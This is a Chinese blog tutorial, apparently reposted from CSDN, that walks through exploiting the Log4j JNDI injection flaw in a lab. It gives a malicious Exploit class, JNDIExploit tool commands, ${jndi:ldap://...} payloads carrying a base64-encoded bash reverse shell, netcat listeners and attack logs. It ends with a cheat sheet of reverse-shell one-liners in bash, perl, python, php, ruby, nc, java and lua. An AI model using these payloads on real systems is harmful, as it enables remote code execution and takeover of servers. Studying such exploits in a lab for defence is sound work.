log4j反序列化漏洞详解及利用
Posted CSDN阿坤
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了log4j反序列化漏洞详解及利用相关的知识,希望对你有一定的参考价值。
一、知识点分析
1.什么是log4j?与log4j2关系?
log4j是apache著名的开源日志框架,log4j是log4j2的前身。
2.JNDI是什么?
JNDI是Java Naming and Directory Interface(JAVA命名和目录接口)的英文简写,它是为JAVA应用程序提供命名和目录访问服务的API(Application Programing Interface,应用程序编程接口)。
3.LDAP与RMI关系?
LDAP轻型目录访问协议(英文:Lightweight Directory Access Protocol,缩写:LDAP,/ˈɛldæp/)是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息。
RMI(Remote Method Invocation,远程方法调用)是Java的一组拥护开发分布式应用程序的API。RMI使用Java语言接口定义了远程对象,它集合了Java序列化和Java远程方法协议(Java Remote Method Protocol)。
二、环境及安装包(Linux复现包)
JDK环境:linux-JDK【w186】
1台windows:模仿client客户端发送post请求
1台project机:部署带有漏洞Tmocat项目【r7q1】
1台hacker机:控制台命令输入/输出【vj8a】
1台公网VPS(Virtual Private Server 虚拟专用服务器)attack机:部署LDAP服务【pn9x】
(注:三者需要满足互相可以访问即可)
三、Windows复现(课件关注博主留言即可获得)
windows复现实现起来很简单:用到了jdk、ider、log4j项目就可以了,项目整体结构如图:
Exploit文件(恶意类):
import java.io.IOException;
public class Exploit
static
try
// windows执行cmd命令,calc为计算机,也可以改成任意你想执行的命令,例:mstsc远程窗口
Runtime.getRuntime().exec("calc");
catch (IOException e)
e.printStackTrace();
1.将恶意代码封装成class类文件:
在下方Terminal终端输入 javac Exploit.java 回车即可生产class文件,如图
2.将生成的Exploit.class文件上传到tomcat服务目录下
查看路径
[root@bogon webapps]# pwd
/srv/apache-tomcat-9.0.40/webapps
附加执行权限
[root@bogon webapps]# chmod +x Exploit.class
[root@bogon webapps]# ls
apsm apsm20211122 apsm.war apsm.war_20211122 apsm.war_20211208 apsm.war_20211209 apsm.war20211210 examples Exploit.class host-manager manager ROOT sV06sQf7Ol.txt
[root@bogon webapps]#
确保tomcat可以访问:
3.在LDAP服务中写入tomcat地址并下载Exploit.class恶意类文件
...
//引号修改成自己tomcat地址后追加要拿的class文件即可
private static final String EXPLOIT_CLASS_URL = "http://192.168.200.53:3001/#Exploit";
...
为了避免本地端口冲突LADP端口我改成了7912
4.Log4J.java内容
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4J
private static final Logger logger = LogManager.getLogger(Log4J.class);
public static void main(String[] args)
//logger写入jndi引用ldap文件传输地址下载class恶意类,csdnak随意写的
logger.error("$jndi:ldap://127.0.0.1:7912/csdnak");
5.启动实验
依次运行LDAP服务:
运行Log4J服务:
运行结果:
可以看到复现成功,左侧target子目录classes下出现Exploit文件,下方也可以看到ldap服务去tomcat项目下载本地并执行了该文件。
四、Linux复现
方法一:
1.project机操作:
可以通过docker直接拉取,也可去上方下载docker容器tar包导入
[root@bogon ~]# docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
[root@bogon ~]# docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
[root@bogon ~]# docker exec -it log4j_vuln_container /bin/bash
[root@a58a9ce2ef50 ansible]# /home/apache-tomcat-8.5.45/bin/startup.sh
Using CATALINA_BASE: /home/apache-tomcat-8.5.45
Using CATALINA_HOME: /home/apache-tomcat-8.5.45
Using CATALINA_TMPDIR: /home/apache-tomcat-8.5.45/temp
Using JRE_HOME: /usr/local/jdk1.8.0_144/
Using CLASSPATH: /home/apache-tomcat-8.5.45/bin/bootstrap.jar:/home/apache-tomcat-8.5.45/bin/tomcat-juli.jar
Tomcat started.
[root@a58a9ce2ef50 ansible]# cd /home/apache-tomcat-8.5.45/logs/
[root@a58a9ce2ef50 logs]# tail -f catalina.out
测试访问:http://192.168.200.37:8080/webstudy/hello-fengxuan
(注:此项目c参数作为log4j漏洞):
package com.evalshell.webstudy;
import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
@WebServlet(
name = "helloServlet",
value = "/hello-fengxuan"
)
public class HelloServlet extends HttpServlet
private String message;
private static final Logger logger = LogManager.getLogger(HelloServlet.class);
public HelloServlet()
public void init()
this.message = "Hello World!";
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException
response.setContentType("text/html");
response.setHeader("Content-Type", "text/html; charset=utf-8");
System.out.println(request.getQueryString());
PrintWriter out = response.getWriter();
out.println("<html><body>");
out.println("<span>你好,兄弟,请用post请求来搞我!</span>");
out.println("</body></html>");
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException
//payload参数c接口
String name = req.getParameter("c");
System.out.println(name);
logger.error(name);
resp.setContentType("text/html");
resp.setHeader("Content-Type", "text/html; charset=utf-8");
PrintWriter out = resp.getWriter();
out.println("<html><body>");
out.println("<h1>可恶!又被你装到了!</h1>");
out.println("</body></html>");
public void destroy()
2.公网VPS(Virtual Private Server 虚拟专用服务器)attack机操作:
[root@csdn-ak ldap]# ls
JNDIExploit-1.2-SNAPSHOT.jar lib
[root@csdn-ak ldap]# java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 127.0.0.1
3.hacker机操作:
[root@node-3 ~]# yum -y install nc
已加载插件:fastestmirror, product-id, search-disabled-repos, subscription-manager
This system is not registered with an entitlement server. You can use subscription-manager to register.
Loading mirror speeds from cached hostfile
* base: mirror.lzu.edu.cn
* epel: mirror.earthlink.iq
* extras: mirrors.bupt.edu.cn
* updates: mirrors.tuna.tsinghua.edu.cn
正在解决依赖关系
--> 正在检查事务
---> 软件包 nmap-ncat.x86_64.2.6.40-19.el7 将被 安装
--> 正在处理依赖关系 libpcap.so.1()(64bit),它被软件包 2:nmap-ncat-6.40-19.el7.x86_64 需要
--> 正在检查事务
---> 软件包 libpcap.x86_64.14.1.5.3-12.el7 将被 安装
--> 解决依赖关系完成
依赖关系解决
========================================================================================================
Package 架构 版本 源 大小
========================================================================================================
正在安装:
nmap-ncat x86_64 2:6.40-19.el7 base 206 k
为依赖而安装:
libpcap x86_64 14:1.5.3-12.el7 base 139 k
事务概要
========================================================================================================
安装 1 软件包 (+1 依赖软件包)
总下载量:345 k
安装大小:740 k
Downloading packages:
(1/2): libpcap-1.5.3-12.el7.x86_64.rpm | 139 kB 00:00:00
(2/2): nmap-ncat-6.40-19.el7.x86_64.rpm | 206 kB 00:00:00
--------------------------------------------------------------------------------------------------------
总计 2.6 MB/s | 345 kB 00:00:00
Running transaction check
Running transaction test
Transaction test succeeded
Running transaction
正在安装 : 14:libpcap-1.5.3-12.el7.x86_64 1/2
正在安装 : 2:nmap-ncat-6.40-19.el7.x86_64 2/2
验证中 : 2:nmap-ncat-6.40-19.el7.x86_64 1/2
验证中 : 14:libpcap-1.5.3-12.el7.x86_64 2/2
已安装:
nmap-ncat.x86_64 2:6.40-19.el7
作为依赖被安装:
libpcap.x86_64 14:1.5.3-12.el7
完毕!
[root@node-3 ~]# nc -lvp 869
输入 nc -lvp 869监听本地869端口,如图
4.windows机操作:
将你需要执行的shell命令base64加密这里以反弹shell为例
利用postman接口测试软件发起请求
key值为c(前面提到过,c为payload参数)
value:(xx.xx.xx.xx写你自己的公网vps服务ip)
$jndi:ldap://xx.xx.xx.xx:1389/Basic/Command/base64/YmFzaCAgLWkgPiYgIC9kZXYvdGNwLzE5Mi4xNjguMjAwLjIyMy84NjkgMD4mMQ==
点击send发送即可
5.测试结果查询
project机查看catlina.out日志输出
公网vps机ladp服务监听日志与attack解析一目了然
hacker机反弹shell回显成功
方法二:
考虑公网服务安全,临时换城内网服务器继续(根据自己jdk版本选择对应payload)
[root@bogon ldap]java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c echo,YmFzaCAgLWkgPiYgIC9kZXYvdGNwLzE5Mi4xNjguMjAwLjM3Lzc3NzcgMD4mMQ==|base64,-d|bash,-i" -A 192.168.200.37
JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar此包顶部链接可以下载。
我jdk版本是1.8的所以payload为:ldap://192.168.200.37:1389/use1zw
因此postman的value参数为: $jndi:ldap://192.168.200.37:1389/use1zw
点击send发送,下图可以看到容器内tomcat日志logger已经从漏洞参数c获取并打印日志,因此容易中的java执行jdin命令从远程服务器ldap上获取恶意类文件下载到本地,并执行类文件中包含的反弹shell命令。
(注:一台project机就可以实现所有功能,只是变成了本地测试,但并不影响实验过程以及结论)
结合代码解析
...
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException
//漏洞参数c接收到post的恶意请求
String name = req.getParameter("c");
System.out.println(name);
//logger会将c参数内容在后台日志打印,也是此项目漏洞出处
logger.error(name);
resp.setContentType("text/html");
resp.setHeader("Content-Type", "text/html; charset=utf-8");
PrintWriter out = resp.getWriter();
out.println("<html><body>");
out.println("<h1>可恶!又被你装到了!</h1>");
out.println("</body></html>");
...
容器中通过tail实时监控tomcat日志输出
[root@a58a9ce2ef50 logs]# tail -f catalina.out
#通过日志可以看到反弹shell已经通过jndi成功注入打印并执行
...
$jndi:ldap://192.168.200.37:1389/use1zw
08:09:40.519 [http-nio-8080-exec-10] ERROR com.evalshell.webstudy.HelloServlet - $jndi:ldap://192.168.200.37:1389/use1zw
...
LDAP服务日志输出
#LDAP服务启动后其中的反弹Shell命令就已经被打爆成class恶意类文件
[ADDRESS] >> 192.168.200.37 #LDAP服务ip
[COMMAND] >> bash -c echo,YmFzaCAgLWkgPiYgIC9kZXYvdGNwLzE5Mi4xNjguMjAwLjM3Lzc3NzcgMD4mMQ==|base64,-d|bash,-i #class类文件反弹shell内容
----------------------------JNDI Links----------------------------
#根据自身jdk版本选择对应的payload
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://192.168.200.37:1099/vhb7bd
ldap://192.168.200.37:1389/vhb7bd
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://192.168.200.37:1099/use1zw
#我的环境jdk是1.8的并且我习惯用ldap文件传输服务作为接口,所以选择这条payload
ldap://192.168.200.37:1389/use1zw
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://192.168.200.37:1099/tkaovn
#可以看出jndi通过ldap文件传输协议成功获取恶意类ExecTemplateJDK8.class文件
----------------------------Server Log----------------------------
#LDAP发送一个编号为 use1zw请求的文件
2021-12-20 16:09:40 [LDAPSERVER] >> Send LDAP reference result for use1zw redirecting to http://192.168.200.37:8180/ExecTemplateJDK8.class
2021-12-20 16:09:40 [JETTYSERVER]>> Log a request to http://192.168.200.37:8180/ExecTemplateJDK8.class
彩蛋
送给热爱hacker技术的你8种反弹shell语言
#bash版本:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
#perl版本:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");;'
#python版本:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
#php版本:
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
#ruby版本:
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
#nc版本:
nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999
#java版本
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \\$line 2>&5 >&5; done"] as String[])
p.waitFor()
#lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
后续将为大家带来扫描log4j漏洞程序,欢迎大家订阅!
以上是关于log4j反序列化漏洞详解及利用的主要内容,如果未能解决你的问题,请参考以下文章
Log4j反序列化远程代码执行漏洞(CVE-2019-17571)